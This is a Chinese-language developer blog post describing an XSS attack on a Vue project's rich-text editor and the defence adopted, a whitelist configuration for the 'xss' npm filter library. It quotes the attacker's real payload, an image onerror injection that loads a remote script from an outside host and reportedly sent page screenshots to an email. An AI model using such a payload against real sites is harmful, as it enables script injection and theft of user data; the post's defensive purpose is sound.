一次VUE項目中遇到XSS攻擊的實戰(zhàn)記錄

更新時間：2021年12月01日 11:14:59 作者：MiRenyang

XSS?攻擊是頁面被注入了惡意的代碼,下面這篇文章主要給大家介紹了一次VUE項目中遇到XSS攻擊的相關資料,文中通過實例代碼介紹的非常詳細,需要的朋友可以參考下

前言

隨著互聯(lián)網(wǎng)的高速發(fā)展，信息安全問題已經(jīng)成為企業(yè)最為關注的焦點之一，而前端又是引發(fā)企業(yè)安全問題的高危據(jù)點。在移動互聯(lián)網(wǎng)時代，前端人員除了傳統(tǒng)的 XSS、CSRF 等安全問題之外，又時常遭遇網(wǎng)絡劫持、非法調(diào)用 Hybrid API 等新型安全問題。當然，瀏覽器自身也在不斷在進化和發(fā)展，不斷引入 CSP、Same-Site Cookies 等新技術來增強安全性，但是仍存在很多潛在的威脅，這需要前端技術人員不斷進行“查漏補缺”。

發(fā)現(xiàn)原因

一切的原因都歸咎于富文本編輯器....

應需求將文本域修改成富文本編輯器支持用戶直接粘貼圖片遭到用戶使用網(wǎng)絡圖片上傳方式攻擊

攻擊代碼1" onerror=s=createElement('script');body.appendChild(s);s.src='//x0.nz/nQqS';

在數(shù)據(jù)回顯時，圖片報錯并執(zhí)行onerror事件，導致當前頁面被截圖發(fā)送至指定郵箱

最開始解決辦法是直接關閉富文本編輯器上傳網(wǎng)絡圖片的方式，但是后續(xù)再次遭到此類攻擊，攻擊者使用“fiddler”修改參數(shù)達到同樣效果

最終采用第三方防御XSS攻擊插件并通過配置白名單解決，在提交以及拿到后端返回數(shù)據(jù)時進行過濾

插件中文文檔地址：github.com/leizongmin/…

npm install xss

import filterXSS from "xss"

自定義過濾規(guī)則

在調(diào)用 xss() 函數(shù)進行過濾時，可通過第二個參數(shù)來設置自定義規(guī)則：

options = {}; // 自定義規(guī)則
html = filterXSS('<script>alert("xss");</script>', options);

通過 whiteList 來指定，格式為：{'標簽名': ['屬性1', '屬性2']}。不在白名單上的標簽將被過濾，不在白名單上的屬性也會被過濾。

let options = {
    stripIgnoreTagBody: true, // 不在白名單中的標簽以及標簽里面的內(nèi)容直接刪除
    whiteList: {
        h1: ["style"],
        h2: ["style"],
        h3: ["style"],
        h4: ["style"],
        h5: ["style"],
        h6: ["style"],
        hr: ["style"],
        span: ["style"],
        strong: ["style"],
        b: ["style"],
        i: ["style"],
        br: [],
        p: ["style"],
        pre: ["style"],
        code: ["style"],
        a: ["style", "target", "href", "title", "rel"],
        img: ["style", "src", "title"],
        div: ["style"],
        table: ["style", "width", "border"],
        tr: ["style"],
        td: ["style", "width", "colspan"],
        th: ["style", "width", "colspan"],
        tbody: ["style"],
        ul: ["style"],
        li: ["style"],
        ol: ["style"],
        dl: ["style"],
        dt: ["style"],
        em: ["style"],
        cite: ["style"],
        section: ["style"],
        header: ["style"],
        footer: ["style"],
        blockquote: ["style"],
        audio: ["autoplay", "controls", "loop", "preload", "src"],
        video: [
          "autoplay",
          "controls",
          "loop",
          "preload",
          "src",
          "height",
          "width",
        ],
     },
     css: {
     // 因為上面白名單中允許了標簽的style屬性，所以需要防止攻擊者使用此途徑進行攻擊
        whiteList: {
          color: true,
          "background-color": true,
          width: true,
          height: true,
          "max-width": true,
          "max-height": true,
          "min-width": true,
          "min-height": true,
          "font-size": true,
        },
    },
}

content = filterXSS(content,options)